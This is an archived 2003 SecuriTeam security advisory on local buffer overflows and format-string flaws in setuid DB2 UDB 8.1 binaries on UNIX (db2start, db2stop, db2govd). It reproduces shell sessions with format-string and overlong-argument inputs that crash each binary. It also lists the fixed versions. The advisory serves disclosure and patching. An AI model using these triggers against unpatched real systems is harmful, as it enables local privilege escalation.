

# [NEWS] IBM DB2 Multiple Local Security Issues (UNIX Only)

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-11/0042.html>

---

**From:** SecuriTeam (*support\_at\_securiteam.com*)

**Date:** 11/09/03

To: list@securiteam.com

Date: 9 Nov 2003 19:39:07 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

IBM DB2 Multiple Local Security Issues (UNIX Only)

---

## SUMMARY

<<http://www-3.ibm.com/software/data/db2/>> IBM's DB2 database software is "full-featured, robust, scalable and easy to use. As the market share leader, DB2 provides the foundation of information on demand on Linux, UNIX and Windows platforms. DB2 UDB is specially designed and priced to meet your business needs whether large or small".

DB2 UDB for Linux and UNIX contains several local buffer overflows and format strings conditions.

## DETAILS

Vulnerable systems:

- \* IBM DB2 UDB version 8.1

Immune systems:

- \* IBM DB2 UDB version 7.0 with FixPak 11
- \* IBM DB2 UDB version 8.1 with FixPak 4

Depending on the options selected the DB2 installer *\*may\** ask you to add

## Securiteam: [NEWS] IBM DB2 Multiple Local Security Issues (UNIX Only)

several users to your machine. You are instructed to either add a new user or choose an existing username. These are the users added during testing:

```
dasusr:x:501:501::/home/dasusr:/bin/bash
db2inst1:x:502:502::/home/db2inst1:/bin/bash
db2fenc1:x:503:503::/home/db2fenc1:/bin/bash
```

The above usernames *may* be used in several setuid applications included with DB2. The conditions we found are associated with the Instance user db2inst1.

In order to exploit the issues at hand you must make sure your environment is set up correctly. If you do not use the db2profile you will get the following error while attempting exploitation.

```
[kf@RiotStarter adm]$ ./db2start
SQL10007N Message "-1390" could not be retrieved. Reason code: "1".
```

Under the default configuration you should have access to db2profile in the instance users home directory.

```
[kf@RiotStarter kf]$ id
uid=500(kf) gid=500(kf) groups=500(kf)
[kf@RiotStarter kf]$ find /home -name db2profile
/home/db2inst1/sqllib/db2profile
```

The following binaries contain multiple security issues which are shown below. Make sure you source the db2profile before attempting to duplicate the issues.

```
-r--sr-s--x 1 root db2inst1 38044 Oct 11 07:26 db2start
-r--sr-s--x 1 root db2inst1 84713 Oct 11 07:26 db2stop
-r--sr-s--x 1 db2inst1 db2inst1 141857 Oct 11 07:26 db2govd
```

```
[kf@RiotStarter adm]$ source /home/db2inst1/sqllib/db2profile
```

```
[kf@RiotStarter adm]$ ./db2start %x
SQL2032N The "bffff270" parameter is not valid.
[kf@RiotStarter adm]$ ./db2start %n%n
Segmentation fault
```

```
[kf@RiotStarter adm]$ ./db2start `perl -e 'print "A" x 9900`
SQL2032N The "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA "
parameter is not valid.
[kf@RiotStarter adm]$ ./db2start `perl -e 'print "A" x 9901`
Segmentation fault
```

```
[kf@RiotStarter adm]$ ./db2stop %x
SQL2032N The "bffff6f0" parameter is not valid.
[kf@RiotStarter adm]$ ./db2stop %n%n
Segmentation fault
```

```
[kf@RiotStarter adm]$ ./db2stop `perl -e 'print "A" x 4000`
SQL2032N The
```

Securiteam: [NEWS] IBM DB2 Multiple Local Security Issues (UNIX Only)

```
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" parameter is not valid.
[kf@RiotStarter adm]$ ./db2stop `perl -e 'print "A" x 4001`
Segmentation fault
```

With proper group access you can also expose issues in db2govd.

```
[db2inst1@RiotStarter adm]$ ./db2govd validate garbage %x
GOV1023N Unable to open configuration file "bfffed88". RC = "-2045837302".
[db2inst1@RiotStarter adm]$ ./db2govd validate garbage %n%n%n
Segmentation fault
```

```
[db2inst1@RiotStarter adm]$ ./db2govd stop a `perl -e 'print "A" x 64`
db2govd: GOV1005N No governor for database "" on node
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" is running, or it is already being stopped.
[db2inst1@RiotStarter adm]$ ./db2govd stop a `perl -e 'print "A" x 65`
Segmentation fault
```

```
[db2inst1@RiotStarter adm]$ ./db2govd stop a %x
db2govd: GOV1005N No governor for database "A" on node "bffe188" is
running, or it is already being stopped.
[db2inst1@RiotStarter adm]$ ./db2govd stop a %n%n%n
Segmentation fault
```

```
[db2inst1@RiotStarter adm]$ ./db2govd stop %x b
db2govd: GOV1005N No governor for database "BFFFD788" on node "b" is
running, or it is already being stopped.
[db2inst1@RiotStarter adm]$ ./db2govd stop %n%n%n b
Segmentation fault
```

Vendor Status:

IBM has promptly attended to the issues at hand FixPak 4 for v8 is available now at

<<http://www-3.ibm.com/cgi-bin/db2www/data/db2/udb/winos2unix/support/download.d2w/report>>  
<http://www-3.ibm.com/cgi-bin/db2www/data/db2/udb/winos2unix/support/download.d2w/report>. Fixpak 11 for v7 should be ready late November and will contain the equivalent fixes.

ADDITIONAL INFORMATION

The information has been provided by <<mailto:dotslash@sno soft.com>> KF.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)  
In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

Securiteam: [NEWS] IBM DB2 Multiple Local Security Issues (UNIX Only)

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.